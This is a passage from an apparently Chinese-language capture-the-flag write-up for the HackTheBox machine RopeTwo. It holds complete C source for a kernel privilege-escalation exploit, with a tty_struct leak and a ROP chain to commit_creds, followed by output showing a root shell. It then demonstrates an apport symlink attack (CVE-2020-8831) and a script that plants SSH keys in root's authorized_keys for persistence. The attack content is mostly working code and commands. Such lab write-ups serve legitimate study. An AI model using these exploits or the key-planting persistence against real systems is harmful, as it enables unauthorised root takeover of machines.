122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

int fd, ptmx;

struct user_data_struct {
uint64_t id;
uint64_t size;
void* data;
} user_data;


long create_buf(uint64_t id, uint64_t size){
user_data.id = id;
user_data.size = size;
return ioctl(fd, 0x1000, &user_data);
}

long delete_buf(uint64_t id) {
user_data.id = id;
return ioctl(fd, 0x1001, &user_data);
}


long write_buf(uint64_t id, uint64_t size, void *data){
user_data.id = id;
user_data.size = size;
user_data.data = data;
return ioctl(fd, 0x1002, &user_data);
}


long read_buf(uint64_t id, uint64_t size, void *data){
user_data.id = id;
user_data.size = size;
user_data.data = data;
return ioctl(fd, 0x1003, &user_data);
}


void shell() {
if(!getuid()) {
system("/bin/sh");
} else {
puts("[-] Failed");
exit(-1);
}
}


int main(int argc) {

int i, id;
int ptmx;
uint64_t *output = malloc(0x420);
uint64_t kernel_base;

fd = open("/dev/ralloc", O_RDONLY);
if(fd == -1) {
fprintf(stderr, "Failed to open /dev/ralloc");
return -1;
}

kernel_base = 0;
while(kernel_base == 0) {
// Clear buffers
for(i=0; i < 0x20; i++){
delete_buf(i);
}

// Loop over buffers, create, open ptmx, check for tty_struct
for(i=0; i < 0x20; i++){
create_buf(i, 0x400);
ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);

read_buf(i, 0x420, output);
if((output[0x80] & 0xffffffff) == 0x5401 &&
(output[0x83] & 0xfff) == 0x6a0) {
break;
}
close(ptmx); // close if not found
}

if (i == 0x20){
printf("[-] Failed to find tty_struct. Try again.\n");
} else {
uint64_t ptm_unix98_ops = output[0x83];
printf("[+] Identified ptm_unix98_ops address: %016lx\n", ptm_unix98_ops);
kernel_base = ptm_unix98_ops - 0x10af6a0;
printf("[+] Identified kernel base address: %016lx\n", kernel_base);
id = i;
}
}

printf("[*] Using slot %i\n", id);

// Stack Pivot
size_t xchg_esp_eax = 0x368c08 + kernel_base;
uint64_t *fake_tty_ops = malloc(248);
fake_tty_ops[4] = xchg_esp_eax;
output[0x83] = (uint64_t)fake_tty_ops;
write_buf(id, 0x420, output);

uint64_t new_stack = xchg_esp_eax & 0xffffffff;
uint64_t *st_ptr = new_stack;
int st_idx = 0;

// Set Permissions
mmap((void *)(new_stack & 0xfffff000), 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);

// Offsets
uint64_t ret = 0x0001cc + kernel_base;
uint64_t pop_rdi = 0x08b8a0 + kernel_base;
uint64_t prepare_kernel_cred = 0x0c07a0 + kernel_base;
uint64_t pop_r8 = 0x4875b2 + kernel_base;
uint64_t pop_rdx = 0x03bbc2 + kernel_base;
uint64_t mov_rax_rdi_cmp_pop_rbp = 0x12e597 + kernel_base;
uint64_t commit_creds = 0x0c0540 + kernel_base;
uint64_t swapgs_pop_rbp = 0x074b54 + kernel_base;
uint64_t pop_rcx = 0x405ea6 + kernel_base;
uint64_t pop_r11 = 0x54c2d5 + kernel_base;
uint64_t sysretq = 0x075444 + kernel_base;

// ROP
st_ptr[st_idx++] = ret;
st_ptr[st_idx++] = pop_rdi;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = prepare_kernel_cred;

st_ptr[st_idx++] = pop_r8;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = pop_rdx;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = mov_rax_rdi_cmp_pop_rbp;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = commit_creds;

st_ptr[st_idx++] = swapgs_pop_rbp;
st_ptr[st_idx++] = 0;
st_ptr[st_idx++] = pop_rcx;
st_ptr[st_idx++] = &shell;
st_ptr[st_idx++] = pop_r11;
st_ptr[st_idx++] = 0x0;
st_ptr[st_idx++] = sysretq;

// trigger ROP
printf("[*] Triggering ROP\n");
close(ptmx);
printf("[-] Exploit failed.\n");
return 1;
}

有时候会失败,但多运行它几次似乎会get shell:

1
2
root@kali# gcc -w -o exploit exploit.c ; scp -i id_rsa exploit r4j@10.10.10.196:/tmp/exp
exploit 100% 17KB 532.3KB/s 00:00
1
2
3
4
5
6
7
8
9
10
11
r4j@rope2:/tmp$ ./exp
[+] Identified ptm_unix98_ops address: ffffffffa1caf6a0
[+] Identified kernel base address: ffffffffa0c00000
[*] Using slot 1
[*] Triggering ROP
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cat /root/root.txt
13153a2c6742569c92f7c15be2e249e5

Extra - 非预期获取root的方法

寻找漏洞

第一个解决这个问题的团队使用了一条被HTB团队迅速修补的意外路径。他们发现的漏洞让他们从chromeuser转到一个漏洞的root。这个团队的一个成员jkr帮助重新创建了这个漏洞。

这个box于2020年6月27日发布。在apt日志中,两天后的6月29日,apport被删除了:

1
2
3
4
5
6
7
8
9
10
11
root@rope2:/var/log/apt# zcat history.log.1.gz 

Start-Date: 2020-06-03 12:00:07
Commandline: apt install ifupdown
Install: ifupdown:amd64 (0.8.35ubuntu1)
End-Date: 2020-06-03 12:00:09

Start-Date: 2020-06-29 18:40:31
Commandline: apt purge apport
Purge: apport:amd64 (2.20.10-0ubuntu27.3)
End-Date: 2020-06-29 18:40:33

删除的版本是2.20.10-0ubuntu27.3。一些谷歌搜索显示CVE-2020-8831。现在作为RopeTwo上的root用户,可以重新配置机器,使其再次受到此路径的攻击。

安装旧的apport

apport是一个用来拦截崩溃并记录信息的程序,这样就可以在不重新创建崩溃的情况下进行调试/故障排除。

要安装这个较旧的、易受攻击的apport版本,将使用apt。需要首先修复更新源文件:

1
2
3
root@rope2:~# cat /etc/apt/sources.list
deb http://old-releases.ubuntu.com/ubuntu disco main universe multiverse restricted
deb http://old-releases.ubuntu.com/ubuntu disco-updates main universe multiverse restricted

因为RopeTwo机器不能直接与互联网通信,将通过我的burpsuite代理apt。在本地机器上更改了Burp,这样它就可以监听所有接口,而不仅仅是localhost:

1
*:8080

还将设置http_proxy环境变量来告诉apt使用这个代理:

1
root@rope2:~# export http_proxy=http://10.10.14.14:8080

现在运行apt update,然后apt install apport=2.20.10-0ubuntu27.3。

exploit

背景

这里的漏洞利用了apport写入/var/lock目录的方式。该目录可由任何用户写入:

1
2
chromeuser@rope2:~$ ls -ld /var/lock/
drwxrwxrwt 4 root root 80 Jan 15 16:27 /var/lock/

当出现segfaults时,apport将在该文件夹中创建一个目录apport,其中包含一个文件lock。漏洞在于它如何处理符号链接。将创建一个链接,将/var/lock/apport指向想写入的目录,如/etc/update-motd。d(在前面的回溯中已经展示了如何对这个目录进行写操作)。如果可以在该文件夹中获得一个可以写入的文件,然后使用ssh或su登录,那么它将以root身份运行。

练习

作为chromeuser在以root用户重新安装apport后,进入/var/lock。目前没有apport目录:

1
2
chromeuser@rope2:/var/lock$ ls
lvm subsys

创建一个符号链接:

1
2
3
4
5
6
chromeuser@rope2:/var/lock$ ln -s /etc/update-motd.d apport
chromeuser@rope2:/var/lock$ ls -l
total 0
lrwxrwxrwx 1 chromeuser chromeuser 18 Jan 15 19:01 apport -> /etc/update-motd.d
drwx------ 2 root root 40 Jan 15 18:52 lvm
drwxr-xr-x 2 root root 40 Jan 15 18:52 subsys

现在需要crash个东西。可以再次运行heap攻击,或者用信号11杀死某些东西

1
2
3
4
chromeuser@rope2:/var/lock$ sleep 100000 &
[1] 3574
chromeuser@rope2:/var/lock$ kill -11 3574
[1]+ Segmentation fault (core dumped) sleep 100000

这会在/etc/update-motd.d中创建一个新文件,最后一个,lock:

1
2
3
4
5
6
7
8
9
10
11
12
13
chromeuser@rope2:/etc/update-motd.d$ ls -l
total 40
-rwxr-xr-x 1 root root 1220 Aug 6 2018 00-header
-rwxr-xr-x 1 root root 1157 Aug 6 2018 10-help-text
lrwxrwxrwx 1 root root 46 Apr 16 2019 50-landscape-sysinfo -> /usr/share/landscape/landscape-sysinfo.wrapper
-rwxr-xr-x 1 root root 4264 Aug 21 2018 50-motd-news
-rwxr-xr-x 1 root root 97 Apr 9 2018 90-updates-available
-rwxr-xr-x 1 root root 299 Aug 10 2018 91-release-upgrade
-rwxr-xr-x 1 root root 129 Apr 9 2018 95-hwe-eol
-rwxr-xr-x 1 root root 111 Nov 13 2018 97-overlayroot
-rwxr-xr-x 1 root root 142 Apr 9 2018 98-fsck-at-reboot
-rwxr-xr-x 1 root root 144 Apr 9 2018 98-reboot-required
-rwxrwxrwx 1 root root 0 Jan 15 19:02 lock

注意,它是world writable。

已经在/home/chromeuser/.ssh/authorized_keys中有公钥。将使用这个Bash脚本复制到/root/.ssh/authorized_keys:

  • getroot.sh
1
2
3
4
5
#!/bin/bash

echo "pwned!"
mkdir /root/.ssh
cat /home/chromeuser/.ssh/authorized_keys >> /root/.ssh/authorized_keys

现在将SSH作为chromeuser再次触发MOTD脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali# ssh -i ~/keys/ed25519_gen chromeuser@10.10.10.196
Welcome to Ubuntu 19.04 (GNU/Linux 5.0.0-38-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Fri Jan 15 19:07:21 UTC 2021

System load: 0.31 Processes: 317
Usage of /: 41.7% of 19.56GB Users logged in: 3
Memory usage: 29% IP address for ens160: 10.10.10.196
Swap usage: 0%


71 updates can be installed immediately.
0 of these updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings


pwned!
Last login: Fri Jan 15 19:05:14 2021 from 10.10.14.14
chromeuser@rope2:~$

它上面写着“pwned!”就在提示符上方显示漏洞生效了。可以以root身份SSH连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali# ssh -i ~/keys/ed25519_gen root@10.10.10.196
Welcome to Ubuntu 19.04 (GNU/Linux 5.0.0-38-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Fri Jan 15 19:08:09 UTC 2021

System load: 0.26 Processes: 322
Usage of /: 41.7% of 19.56GB Users logged in: 3
Memory usage: 29% IP address for ens160: 10.10.10.196
Swap usage: 0%


71 updates can be installed immediately.
0 of these updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings


pwned!
Last login: Fri Jan 15 19:05:25 2021 from 10.10.14.14
root@rope2:~#
  • That’s all, Thanks for watching…

Damn! Really a Journey to the Hell! Ha?